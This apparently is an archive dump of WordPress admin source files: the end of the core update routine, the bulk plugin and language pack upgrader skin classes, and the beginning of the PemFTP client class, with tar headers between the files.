			if ( file_exists( ABSPATH . $file ) && md5_file( ABSPATH . $file ) === $checksum ) {
				$skip[] = $file;
			} else {
				$failed[] = $file;
			}
		}
	}

	// Some files didn't copy properly.
	if ( ! empty( $failed ) ) {
		$total_size = 0;

		foreach ( $failed as $file ) {
			if ( file_exists( $working_dir_local . $file ) ) {
				$total_size += filesize( $working_dir_local . $file );
			}
		}

		/*
		 * If we don't have enough free space, it isn't worth trying again.
		 * Unlikely to be hit due to the check in unzip_file().
		 */
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( ABSPATH ) : false;

		if ( $available_space && $total_size >= $available_space ) {
			$result = new WP_Error( 'disk_full', __( 'There is not enough free disk space to complete the update.' ) );
		} else {
			$result = copy_dir( $from . $distro, $to, $skip );

			if ( is_wp_error( $result ) ) {
				$result = new WP_Error(
					$result->get_error_code() . '_retry',
					$result->get_error_message(),
					substr( $result->get_error_data(), strlen( $to ) )
				);
			}
		}
	}

	/*
	 * Custom content directory needs updating now.
	 * Copy languages.
	 */
	if ( ! is_wp_error( $result ) && $wp_filesystem->is_dir( $from . $distro . 'wp-content/languages' ) ) {
		if ( WP_LANG_DIR !== ABSPATH . WPINC . '/languages' || @is_dir( WP_LANG_DIR ) ) {
			$lang_dir = WP_LANG_DIR;
		} else {
			$lang_dir = WP_CONTENT_DIR . '/languages';
		}
		/*
		 * Note: str_starts_with() is not used here, as this file is included
		 * when updating from older WordPress versions, in which case
		 * the polyfills from wp-includes/compat.php may not be available.
		 */
		// Check if the language directory exists first.
		if ( ! @is_dir( $lang_dir ) && 0 === strpos( $lang_dir, ABSPATH ) ) {
			// If it's within the ABSPATH we can handle it here, otherwise they're out of luck.
			$wp_filesystem->mkdir( $to . str_replace( ABSPATH, '', $lang_dir ), FS_CHMOD_DIR );
			clearstatcache(); // For FTP, need to clear the stat cache.
		}

		if ( @is_dir( $lang_dir ) ) {
			$wp_lang_dir = $wp_filesystem->find_folder( $lang_dir );

			if ( $wp_lang_dir ) {
				$result = copy_dir( $from . $distro . 'wp-content/languages/', $wp_lang_dir );

				if ( is_wp_error( $result ) ) {
					$result = new WP_Error(
						$result->get_error_code() . '_languages',
						$result->get_error_message(),
						substr( $result->get_error_data(), strlen( $wp_lang_dir ) )
					);
				}
			}
		}
	}

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Disabling Maintenance mode&#8230;' ) );

	// Remove maintenance file, we're done with potential site-breaking changes.
	$wp_filesystem->delete( $maintenance_file );

	/*
	 * 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users,
	 * preventing installation of Twenty Twelve.
	 */
	if ( '3.5' === $old_wp_version ) {
		if ( is_dir( WP_CONTENT_DIR . '/themes/twentytwelve' )
			&& ! file_exists( WP_CONTENT_DIR . '/themes/twentytwelve/style.css' )
		) {
			$wp_filesystem->delete( $wp_filesystem->wp_themes_dir() . 'twentytwelve/' );
		}
	}

	/*
	 * Copy new bundled plugins & themes.
	 * This gives us the ability to install new plugins & themes bundled with
	 * future versions of WordPress whilst avoiding the re-install upon upgrade issue.
	 * $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated.
	 */
	if ( ! is_wp_error( $result )
		&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED )
	) {
		foreach ( (array) $_new_bundled_files as $file => $introduced_version ) {
			// If a $development_build or if $introduced version is greater than what the site was previously running.
			if ( $development_build || version_compare( $introduced_version, $old_wp_version, '>' ) ) {
				$directory = ( '/' === $file[ strlen( $file ) - 1 ] );

				list( $type, $filename ) = explode( '/', $file, 2 );

				// Check to see if the bundled items exist before attempting to copy them.
				if ( ! $wp_filesystem->exists( $from . $distro . 'wp-content/' . $file ) ) {
					continue;
				}

				if ( 'plugins' === $type ) {
					$dest = $wp_filesystem->wp_plugins_dir();
				} elseif ( 'themes' === $type ) {
					// Back-compat, ::wp_themes_dir() did not return trailingslash'd pre-3.2.
					$dest = trailingslashit( $wp_filesystem->wp_themes_dir() );
				} else {
					continue;
				}

				if ( ! $directory ) {
					if ( ! $development_build && $wp_filesystem->exists( $dest . $filename ) ) {
						continue;
					}

					if ( ! $wp_filesystem->copy( $from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE ) ) {
						$result = new WP_Error( "copy_failed_for_new_bundled_$type", __( 'Could not copy file.' ), $dest . $filename );
					}
				} else {
					if ( ! $development_build && $wp_filesystem->is_dir( $dest . $filename ) ) {
						continue;
					}

					$wp_filesystem->mkdir( $dest . $filename, FS_CHMOD_DIR );
					$_result = copy_dir( $from . $distro . 'wp-content/' . $file, $dest . $filename );

					/*
					 * If an error occurs partway through this final step,
					 * keep the error flowing through, but keep the process going.
					 */
					if ( is_wp_error( $_result ) ) {
						if ( ! is_wp_error( $result ) ) {
							$result = new WP_Error();
						}

						$result->add(
							$_result->get_error_code() . "_$type",
							$_result->get_error_message(),
							substr( $_result->get_error_data(), strlen( $dest ) )
						);
					}
				}
			}
		} // End foreach.
	}

	// Handle $result error from the above blocks.
	if ( is_wp_error( $result ) ) {
		$wp_filesystem->delete( $from, true );

		return $result;
	}

	// Remove old files.
	foreach ( $_old_files as $old_file ) {
		$old_file = $to . $old_file;

		if ( ! $wp_filesystem->exists( $old_file ) ) {
			continue;
		}

		// If the file isn't deleted, try writing an empty string to the file instead.
		if ( ! $wp_filesystem->delete( $old_file, true ) && $wp_filesystem->is_file( $old_file ) ) {
			$wp_filesystem->put_contents( $old_file, '' );
		}
	}

	// Remove any Genericons example.html's from the filesystem.
	_upgrade_422_remove_genericons();

	// Deactivate the REST API plugin if its version is 2.0 Beta 4 or lower.
	_upgrade_440_force_deactivate_incompatible_plugins();

	// Deactivate incompatible plugins.
	_upgrade_core_deactivate_incompatible_plugins();

	// Upgrade DB with separate request.
	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Upgrading database&#8230;' ) );

	$db_upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
	wp_remote_post( $db_upgrade_url, array( 'timeout' => 60 ) );

	// Clear the cache to prevent an update_option() from saving a stale db_version to the cache.
	wp_cache_flush();
	// Not all cache back ends listen to 'flush'.
	wp_cache_delete( 'alloptions', 'options' );

	// Remove working directory.
	$wp_filesystem->delete( $from, true );

	// Force refresh of update information.
	if ( function_exists( 'delete_site_transient' ) ) {
		delete_site_transient( 'update_core' );
	} else {
		delete_option( 'update_core' );
	}

	/**
	 * Fires after WordPress core has been successfully updated.
	 *
	 * @since 3.3.0
	 *
	 * @param string $wp_version The current WordPress version.
	 */
	do_action( '_core_updated_successfully', $wp_version );

	// Clear the option that blocks auto-updates after failures, now that we've been successful.
	if ( function_exists( 'delete_site_option' ) ) {
		delete_site_option( 'auto_core_update_failed' );
	}

	return $wp_version;
}

/**
 * Preloads old Requests classes and interfaces.
 *
 * This function preloads the old Requests code into memory before the
 * upgrade process deletes the files. Why? Requests code is loaded into
 * memory via an autoloader, meaning when a class or interface is needed
 * If a request is in process, Requests could attempt to access code. If
 * the file is not there, a fatal error could occur. If the file was
 * replaced, the new code is not compatible with the old, resulting in
 * a fatal error. Preloading ensures the code is in memory before the
 * code is updated.
 *
 * @since 6.2.0
 *
 * @global array              $_old_requests_files Requests files to be preloaded.
 * @global WP_Filesystem_Base $wp_filesystem       WordPress filesystem subclass.
 * @global string             $wp_version          The WordPress version string.
 *
 * @param string $to Path to old WordPress installation.
 */
function _preload_old_requests_classes_and_interfaces( $to ) {
	global $_old_requests_files, $wp_filesystem, $wp_version;

	/*
	 * Requests was introduced in WordPress 4.6.
	 *
	 * Skip preloading if the website was previously using
	 * an earlier version of WordPress.
	 */
	if ( version_compare( $wp_version, '4.6', '<' ) ) {
		return;
	}

	if ( ! defined( 'REQUESTS_SILENCE_PSR0_DEPRECATIONS' ) ) {
		define( 'REQUESTS_SILENCE_PSR0_DEPRECATIONS', true );
	}

	foreach ( $_old_requests_files as $name => $file ) {
		// Skip files that aren't interfaces or classes.
		if ( is_int( $name ) ) {
			continue;
		}

		// Skip if it's already loaded.
		if ( class_exists( $name ) || interface_exists( $name ) ) {
			continue;
		}

		// Skip if the file is missing.
		if ( ! $wp_filesystem->is_file( $to . $file ) ) {
			continue;
		}

		require_once $to . $file;
	}
}

/**
 * Redirect to the About WordPress page after a successful upgrade.
 *
 * This function is only needed when the existing installation is older than 3.4.0.
 *
 * @since 3.3.0
 *
 * @global string $wp_version The WordPress version string.
 * @global string $pagenow    The filename of the current screen.
 * @global string $action
 *
 * @param string $new_version
 */
function _redirect_to_about_wordpress( $new_version ) {
	global $wp_version, $pagenow, $action;

	if ( version_compare( $wp_version, '3.4-RC1', '>=' ) ) {
		return;
	}

	// Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts.
	if ( 'update-core.php' !== $pagenow ) {
		return;
	}

	if ( 'do-core-upgrade' !== $action && 'do-core-reinstall' !== $action ) {
		return;
	}

	// Load the updated default text localization domain for new strings.
	load_default_textdomain();

	// See do_core_upgrade().
	show_message( __( 'WordPress updated successfully.' ) );

	// self_admin_url() won't exist when upgrading from <= 3.0, so relative URLs are intentional.
	show_message(
		'<span class="hide-if-no-js">' . sprintf(
			/* translators: 1: WordPress version, 2: URL to About screen. */
			__( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ),
			$new_version,
			'about.php?updated'
		) . '</span>'
	);
	show_message(
		'<span class="hide-if-js">' . sprintf(
			/* translators: 1: WordPress version, 2: URL to About screen. */
			__( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ),
			$new_version,
			'about.php?updated'
		) . '</span>'
	);
	echo '</div>';
	?>
<script type="text/javascript">
window.location = 'about.php?updated';
</script>
	<?php

	// Include admin-footer.php and exit.
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	exit;
}

/**
 * Cleans up Genericons example files.
 *
 * @since 4.2.2
 *
 * @global array              $wp_theme_directories
 * @global WP_Filesystem_Base $wp_filesystem
 */
function _upgrade_422_remove_genericons() {
	global $wp_theme_directories, $wp_filesystem;

	// A list of the affected files using the filesystem absolute paths.
	$affected_files = array();

	// Themes.
	foreach ( $wp_theme_directories as $directory ) {
		$affected_theme_files = _upgrade_422_find_genericons_files_in_folder( $directory );
		$affected_files       = array_merge( $affected_files, $affected_theme_files );
	}

	// Plugins.
	$affected_plugin_files = _upgrade_422_find_genericons_files_in_folder( WP_PLUGIN_DIR );
	$affected_files        = array_merge( $affected_files, $affected_plugin_files );

	foreach ( $affected_files as $file ) {
		$gen_dir = $wp_filesystem->find_folder( trailingslashit( dirname( $file ) ) );

		if ( empty( $gen_dir ) ) {
			continue;
		}

		// The path when the file is accessed via WP_Filesystem may differ in the case of FTP.
		$remote_file = $gen_dir . basename( $file );

		if ( ! $wp_filesystem->exists( $remote_file ) ) {
			continue;
		}

		if ( ! $wp_filesystem->delete( $remote_file, false, 'f' ) ) {
			$wp_filesystem->put_contents( $remote_file, '' );
		}
	}
}

/**
 * Recursively find Genericons example files in a given folder.
 *
 * @ignore
 * @since 4.2.2
 *
 * @param string $directory Directory path. Expects trailingslashed.
 * @return array
 */
function _upgrade_422_find_genericons_files_in_folder( $directory ) {
	$directory = trailingslashit( $directory );
	$files     = array();

	if ( file_exists( "{$directory}example.html" )
		/*
		 * Note: str_contains() is not used here, as this file is included
		 * when updating from older WordPress versions, in which case
		 * the polyfills from wp-includes/compat.php may not be available.
		 */
		&& false !== strpos( file_get_contents( "{$directory}example.html" ), '<title>Genericons</title>' )
	) {
		$files[] = "{$directory}example.html";
	}

	$dirs = glob( $directory . '*', GLOB_ONLYDIR );
	$dirs = array_filter(
		$dirs,
		static function ( $dir ) {
			/*
			 * Skip any node_modules directories.
			 *
			 * Note: str_contains() is not used here, as this file is included
			 * when updating from older WordPress versions, in which case
			 * the polyfills from wp-includes/compat.php may not be available.
			 */
			return false === strpos( $dir, 'node_modules' );
		}
	);

	if ( $dirs ) {
		foreach ( $dirs as $dir ) {
			$files = array_merge( $files, _upgrade_422_find_genericons_files_in_folder( $dir ) );
		}
	}

	return $files;
}

/**
 * @ignore
 * @since 4.4.0
 */
function _upgrade_440_force_deactivate_incompatible_plugins() {
	if ( defined( 'REST_API_VERSION' ) && version_compare( REST_API_VERSION, '2.0-beta4', '<=' ) ) {
		deactivate_plugins( array( 'rest-api/plugin.php' ), true );
	}
}

/**
 * @access private
 * @ignore
 * @since 5.8.0
 * @since 5.9.0 The minimum compatible version of Gutenberg is 11.9.
 * @since 6.1.1 The minimum compatible version of Gutenberg is 14.1.
 * @since 6.4.0 The minimum compatible version of Gutenberg is 16.5.
 */
function _upgrade_core_deactivate_incompatible_plugins() {
	if ( defined( 'GUTENBERG_VERSION' ) && version_compare( GUTENBERG_VERSION, '16.5', '<' ) ) {
		$deactivated_gutenberg['gutenberg'] = array(
			'plugin_name'         => 'Gutenberg',
			'version_deactivated' => GUTENBERG_VERSION,
			'version_compatible'  => '16.5',
		);
		if ( is_plugin_active_for_network( 'gutenberg/gutenberg.php' ) ) {
			$deactivated_plugins = get_site_option( 'wp_force_deactivated_plugins', array() );
			$deactivated_plugins = array_merge( $deactivated_plugins, $deactivated_gutenberg );
			update_site_option( 'wp_force_deactivated_plugins', $deactivated_plugins );
		} else {
			$deactivated_plugins = get_option( 'wp_force_deactivated_plugins', array() );
			$deactivated_plugins = array_merge( $deactivated_plugins, $deactivated_gutenberg );
			update_option( 'wp_force_deactivated_plugins', $deactivated_plugins );
		}
		deactivate_plugins( array( 'gutenberg/gutenberg.php' ), true );
	}
}
class-bulk-plugin-upgrader-skin.php.tar000064400000010000150275632050014143 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-bulk-plugin-upgrader-skin.php000064400000004315150273165060024750 0ustar00<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Plugin info.
	 *
	 * The Plugin_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the get_plugin_data() function.
	 *
	 * @var array Plugin data. Values will be empty if not supplied by the plugin.
	 */
	public $plugin_info = array();

	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Plugin name, 2: Number of the plugin, 3: Total number of plugins being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->plugin_info['Title'] );
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->plugin_info['Title'] );
		$this->decrement_update_count( 'plugin' );
	}

	/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'plugins_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'activate_plugins' ) ) {
			unset( $update_actions['plugins_page'] );
		}

		/**
		 * Filters the list of action links available following bulk plugin updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param array    $plugin_info    Array of information for the last-updated plugin.
		 */
		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
class-language-pack-upgrader-skin.php000064400000004655150275632050013647 0ustar00<?php
/**
 * Upgrader API: Language_Pack_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Translation Upgrader Skin for WordPress Translation Upgrades.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin {
	public $language_update        = null;
	public $done_header            = false;
	public $done_footer            = false;
	public $display_footer_actions = true;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'                => '',
			'nonce'              => '',
			'title'              => __( 'Update Translations' ),
			'skip_header_footer' => false,
		);
		$args     = wp_parse_args( $args, $defaults );
		if ( $args['skip_header_footer'] ) {
			$this->done_header            = true;
			$this->done_footer            = true;
			$this->display_footer_actions = false;
		}
		parent::__construct( $args );
	}

	/**
	 */
	public function before() {
		$name = $this->upgrader->get_name_for_update( $this->language_update );

		echo '<div class="update-messages lp-show-latest">';

		/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
		printf( '<h2>' . __( 'Updating translations for %1$s (%2$s)&#8230;' ) . '</h2>', $name, $this->language_update->language );
	}

	/**
	 * @since 5.9.0 Renamed `$error` to `$errors` for PHP 8 named parameter support.
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		echo '<div class="lp-error">';
		parent::error( $errors );
		echo '</div>';
	}

	/**
	 */
	public function after() {
		echo '</div>';
	}

	/**
	 */
	public function bulk_footer() {
		$this->decrement_update_count( 'translation' );

		$update_actions = array(
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		/**
		 * Filters the list of action links available following a translations update.
		 *
		 * @since 3.7.0
		 *
		 * @param string[] $update_actions Array of translations update links.
		 */
		$update_actions = apply_filters( 'update_translations_complete_actions', $update_actions );

		if ( $update_actions && $this->display_footer_actions ) {
			$this->feedback( implode( ' | ', $update_actions ) );
		}
	}
}
class-ftp.php000064400000065247150275632050007174 0ustar00<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * Defines the newline characters, if not defined already.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var string
 */
if(!defined('CRLF')) define('CRLF',"\r\n");

/**
 * Sets whatever to autodetect ASCII mode.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1);

/**
 *
 * This can be redefined.
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_BINARY")) define("FTP_BINARY", 1);

/**
 *
 * This can be redefined.
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_ASCII")) define("FTP_ASCII", 0);

/**
 * Whether to force FTP.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var bool
 */
if(!defined('FTP_FORCE')) define('FTP_FORCE', true);

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Unix','u');

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Windows','w');

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Mac','m');

/**
 * PemFTP base class
 *
 */
class ftp_base {
	/* Public variables */
	var $LocalEcho;
	var $Verbose;
	var $OS_local;
	var $OS_remote;

	/* Private variables */
	var $_lastaction;
	var $_errors;
	var $_type;
	var $_umask;
	var $_timeout;
	var $_passive;
	var $_host;
	var $_fullhost;
	var $_port;
	var $_datahost;
	var $_dataport;
	var $_ftp_control_sock;
	var $_ftp_data_sock;
	var $_ftp_temp_sock;
	var $_ftp_buff_size;
	var $_login;
	var $_password;
	var $_connected;
	var $_ready;
	var $_code;
	var $_message;
	var $_can_restore;
	var $_port_available;
	var $_curtype;
	var $_features;

	var $_error_array;
	var $AuthorizedTransferMode;
	var $OS_FullName;
	var $_eol_code;
	var $AutoAsciiExt;

	/* Constructor */
	function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) {
		$this->LocalEcho=$le;
		$this->Verbose=$verb;
		$this->_lastaction=NULL;
		$this->_error_array=array();
		$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
		$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
		$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
		$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
		$this->_port_available=($port_mode==TRUE);
		$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
		$this->_connected=FALSE;
		$this->_ready=FALSE;
		$this->_can_restore=FALSE;
		$this->_code=0;
		$this->_message="";
		$this->_ftp_buff_size=4096;
		$this->_curtype=NULL;
		$this->SetUmask(0022);
		$this->SetType(FTP_AUTOASCII);
		$this->SetTimeout(30);
		$this->Passive(!$this->_port_available);
		$this->_login="anonymous";
		$this->_password="anon@ftp.com";
		$this->_features=array();
	    $this->OS_local=FTP_OS_Unix;
		$this->OS_remote=FTP_OS_Unix;
		$this->features=array();
		if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
		elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
	}

	function ftp_base($port_mode=FALSE) {
		$this->__construct($port_mode);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Public functions                                                                  -->
// <!-- --------------------------------------------------------------------------------------- -->

	function parselisting($line) {
		$is_windows = ($this->OS_remote == FTP_OS_Windows);
		if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/",$line,$lucifer)) {
			$b = array();
			if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
			$b['isdir'] = ($lucifer[7]=="<DIR>");
			if ( $b['isdir'] )
				$b['type'] = 'd';
			else
				$b['type'] = 'f';
			$b['size'] = $lucifer[7];
			$b['month'] = $lucifer[1];
			$b['day'] = $lucifer[2];
			$b['year'] = $lucifer[3];
			$b['hour'] = $lucifer[4];
			$b['minute'] = $lucifer[5];
			$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
			$b['am/pm'] = $lucifer[6];
			$b['name'] = $lucifer[8];
		} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
			//echo $line."\n";
			$lcount=count($lucifer);
			if ($lcount<8) return '';
			$b = array();
			$b['isdir'] = $lucifer[0][0] === "d";
			$b['islink'] = $lucifer[0][0] === "l";
			if ( $b['isdir'] )
				$b['type'] = 'd';
			elseif ( $b['islink'] )
				$b['type'] = 'l';
			else
				$b['type'] = 'f';
			$b['perms'] = $lucifer[0];
			$b['number'] = $lucifer[1];
			$b['owner'] = $lucifer[2];
			$b['group'] = $lucifer[3];
			$b['size'] = $lucifer[4];
			if ($lcount==8) {
				sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
				sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
				$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
				$b['name'] = $lucifer[7];
			} else {
				$b['month'] = $lucifer[5];
				$b['day'] = $lucifer[6];
				if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
					$b['year'] = gmdate("Y");
					$b['hour'] = $l2[1];
					$b['minute'] = $l2[2];
				} else {
					$b['year'] = $lucifer[7];
					$b['hour'] = 0;
					$b['minute'] = 0;
				}
				$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
				$b['name'] = $lucifer[8];
			}
		}

		return $b;
	}

	function SendMSG($message = "", $crlf=true) {
		if ($this->Verbose) {
			echo $message.($crlf?CRLF:"");
			flush();
		}
		return TRUE;
	}

	function SetType($mode=FTP_AUTOASCII) {
		if(!in_array($mode, $this->AuthorizedTransferMode)) {
			$this->SendMSG("Wrong type");
			return FALSE;
		}
		$this->_type=$mode;
		$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
		return TRUE;
	}

	function _settype($mode=FTP_ASCII) {
		if($this->_ready) {
			if($mode==FTP_BINARY) {
				if($this->_curtype!=FTP_BINARY) {
					if(!$this->_exec("TYPE I", "SetType")) return FALSE;
					$this->_curtype=FTP_BINARY;
				}
			} elseif($this->_curtype!=FTP_ASCII) {
				if(!$this->_exec("TYPE A", "SetType")) return FALSE;
				$this->_curtype=FTP_ASCII;
			}
		} else return FALSE;
		return TRUE;
	}

	function Passive($pasv=NULL) {
		if(is_null($pasv)) $this->_passive=!$this->_passive;
		else $this->_passive=$pasv;
		if(!$this->_port_available and !$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			$this->_passive=TRUE;
			return FALSE;
		}
		$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
		return TRUE;
	}

	function SetServer($host, $port=21, $reconnect=true) {
		if(!is_long($port)) {
	        $this->verbose=true;
    	    $this->SendMSG("Incorrect port syntax");
			return FALSE;
		} else {
			$ip=@gethostbyname($host);
	        $dns=@gethostbyaddr($host);
	        if(!$ip) $ip=$host;
	        if(!$dns) $dns=$host;
	        // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false
	        // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid
	        $ipaslong = ip2long($ip);
			if ( ($ipaslong == false) || ($ipaslong === -1) ) {
				$this->SendMSG("Wrong host name/address \"".$host."\"");
				return FALSE;
			}
	        $this->_host=$ip;
	        $this->_fullhost=$dns;
	        $this->_port=$port;
	        $this->_dataport=$port-1;
		}
		$this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\"");
		if($reconnect){
			if($this->_connected) {
				$this->SendMSG("Reconnecting");
				if(!$this->quit(FTP_FORCE)) return FALSE;
				if(!$this->connect()) return FALSE;
			}
		}
		return TRUE;
	}

	function SetUmask($umask=0022) {
		$this->_umask=$umask;
		umask($this->_umask);
		$this->SendMSG("UMASK 0".decoct($this->_umask));
		return TRUE;
	}

	function SetTimeout($timeout=30) {
		$this->_timeout=$timeout;
		$this->SendMSG("Timeout ".$this->_timeout);
		if($this->_connected)
			if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
		return TRUE;
	}

	function connect($server=NULL) {
		if(!empty($server)) {
			if(!$this->SetServer($server)) return false;
		}
		if($this->_ready) return true;
	    $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]);
		if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) {
			$this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\"");
			return FALSE;
		}
		$this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting.");
		do {
			if(!$this->_readmsg()) return FALSE;
			if(!$this->_checkCode()) return FALSE;
			$this->_lastaction=time();
		} while($this->_code<200);
		$this->_ready=true;
		$syst=$this->systype();
		if(!$syst) $this->SendMSG("Cannot detect remote OS");
		else {
			if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows;
			elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac;
			elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix;
			else $this->OS_remote=FTP_OS_Mac;
			$this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]);
		}
		if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled");
		else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
		return TRUE;
	}

	function quit($force=false) {
		if($this->_ready) {
			if(!$this->_exec("QUIT") and !$force) return FALSE;
			if(!$this->_checkCode() and !$force) return FALSE;
			$this->_ready=false;
			$this->SendMSG("Session finished");
		}
		$this->_quit();
		return TRUE;
	}

	function login($user=NULL, $pass=NULL) {
		if(!is_null($user)) $this->_login=$user;
		else $this->_login="anonymous";
		if(!is_null($pass)) $this->_password=$pass;
		else $this->_password="anon@anon.com";
		if(!$this->_exec("USER ".$this->_login, "login")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		if($this->_code!=230) {
			if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		}
		$this->SendMSG("Authentication succeeded");
		if(empty($this->_features)) {
			if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled");
			else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
		}
		return TRUE;
	}

	function pwd() {
		if(!$this->_exec("PWD", "pwd")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return preg_replace("/^[0-9]{3} \"(.+)\".*$/s", "\\1", $this->_message);
	}

	function cdup() {
		if(!$this->_exec("CDUP", "cdup")) return FALSE;
